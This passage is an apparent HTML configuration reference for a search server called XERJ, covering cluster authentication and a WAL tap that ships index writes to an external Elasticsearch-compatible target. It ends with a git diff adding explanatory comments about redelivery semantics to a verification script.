reachable from every peer.</div><div class="cell k">peers</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Peer list in "node_id=host:port" format. The local node identifies itself from the entry matching bind_address:port. Example: ["a=10.0.0.1:9300","b=10.0.0.2:9300","c=10.0.0.3:9300"].</div><div class="cell k">tick_ms</div><div class="cell t">u64</div><div class="cell d">50</div><div class="cell dsc">Raft tick interval (ms). Lower = faster leader election at the cost of CPU.</div><div class="cell k">auth_secret</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Cluster-wide shared secret authenticating every control frame on port (HMAC-SHA256 over a per-connection challenge). Mandatory when enabled = true — with cluster mode on and no secret here or in XERJ_CLUSTER_AUTH_SECRET the node refuses to start. Same value on every node; minimum 16 chars; generate with `openssl rand -hex 32`. Authenticates, does not encrypt.</div><div class="group" id="wal_tap">[wal_tap]</div><div class="cell k">enabled</div><div class="cell t">bool</div><div class="cell d">false</div><div class="cell dsc">Push a filtered subset of indices to an external ES-compatible target (Elasticsearch, OpenSearch, or another XERJ node) in near-real-time. One-directional and single-node — this is not cross-cluster replication. Off by default.</div><div class="cell k">target_url</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Base URL of the target cluster; the tap POSTs to {target_url}/_bulk. Example: "https://central:9200". Empty disables the tap even with enabled = true. Must not carry credentials in the URL (user:pass@host is refused at startup): target_url is echoed by GET /_xerj/wal_tap, by _stats and in the log. Put the credential in target_auth.</div><div class="cell k">target_auth</div><div class="cell t">string</div><div class="cell d">""</div><div class="cell dsc">Verbatim Authorization header for the target, e.g. "ApiKey abc123". Write-only: GET /_xerj/wal_tap reports whether one is set, never its value.</div><div class="cell k">indices</div><div class="cell t">array</div><div class="cell d">[]</div><div class="cell dsc">Index allowlist, glob patterns. Empty ships nothing; ["edge-*","metrics"] ships those. A wildcard never expands to a hidden index, and XERJ's own .xerj* system indices are never shipped whatever this says.</div><div class="cell k">poll_interval_ms</div><div class="cell t">u64</div><div class="cell d">500</div><div class="cell dsc">How often each allowlisted index's WAL is polled (ms). Range 50–60000. This is the floor on end-to-end latency; the tap adds nothing to the write path.</div><div class="cell k">max_batch_docs</div><div class="cell t">usize</div><div class="cell d">1000</div><div class="cell dsc">Maximum WAL entries read and shipped per poll, per index.</div><div class="cell k">max_batch_bytes</div><div class="cell t">usize</div><div class="cell d">5242880</div><div class="cell dsc">Maximum _bulk body size (bytes). Bounds one HTTP request against the target's http.max_content_length — a larger batch is split across requests, never truncated.</div><div class="cell k">request_timeout_secs</div><div class="cell t">u64</div><div class="cell d">30</div><div class="cell dsc">Per-request timeout against the target. A timed-out batch is retried; the cursor does not advance, so nothing is dropped.</div><div class="cell k">max_retry_backoff_secs</div><div class="cell t">u64</div><div class="cell d">60</div><div class="cell dsc">Ceiling on the exponential, jittered retry backoff when the target is down.</div><div class="cell k">min_retained_generations</div><div class="cell t">u64</div><div class="cell d">0</div><div class="cell dsc">Rotated WAL generations kept per shard after every entry in them is durable in a segment, so a tap whose target is briefly unreachable still finds them. At the default 0, WAL retention never waits for the target: an outage longer than storage.flush_interval_secs loses entries and reports them as gaps in GET /_xerj/wal_tap/_stats. This is a bounded floor, not a retention lease — the extra cost is at most n × storage.wal_max_size_mb per WAL shard per index, whether or not a tap is running, so a stalled target can never fill this node's disk.</div></div><h2 id="server-section">[server]</h2>diff --git a/scripts/verify-wal-tap.sh b/scripts/verify-wal-tap.shindex ed7004ed4..63f4514d8 100755--- a/scripts/verify-wal-tap.sh+++ b/scripts/verify-wal-tap.sh@@ -9,6 +9,20 @@# engine/crates/xerj-engine/tests/wal_tap_push.rs (push semantics). This script# is the one that proves the whole path over real HTTP.#+# WHAT THIS SCRIPT DOES NOT PROVE: convergence under redelivery.+# The tap's at-least-once story rests on `version_type: external` — a+# redelivered action must be a no-op at the target. xerj's own `_bulk` IGNORES+# per-action `version` / `version_type` (only the single-doc path honours them,+# es_compat.rs:2990), so a xerj target is precisely the target that does not+# implement the mechanism, and running two xerj nodes cannot exercise it.+# That claim is covered instead by+# `redelivery_converges_at_a_target_that_honours_external_versioning` and+# `a_target_that_rejects_every_action_is_reported_unhealthy_with_real_lag` in+# wal_tap_push.rs, against a stub that implements the ES rule. Against an+# Elasticsearch or OpenSearch target the mechanism is live; against a xerj+# target the tap degrades to last-write-wins by arrival, as+# `xerj-engine/src/wal_tap.rs` documents.+## cargo build --release -p xerj-server# scripts/verify-wal-tap.sh engine/target/release/xerjset -uo pipefail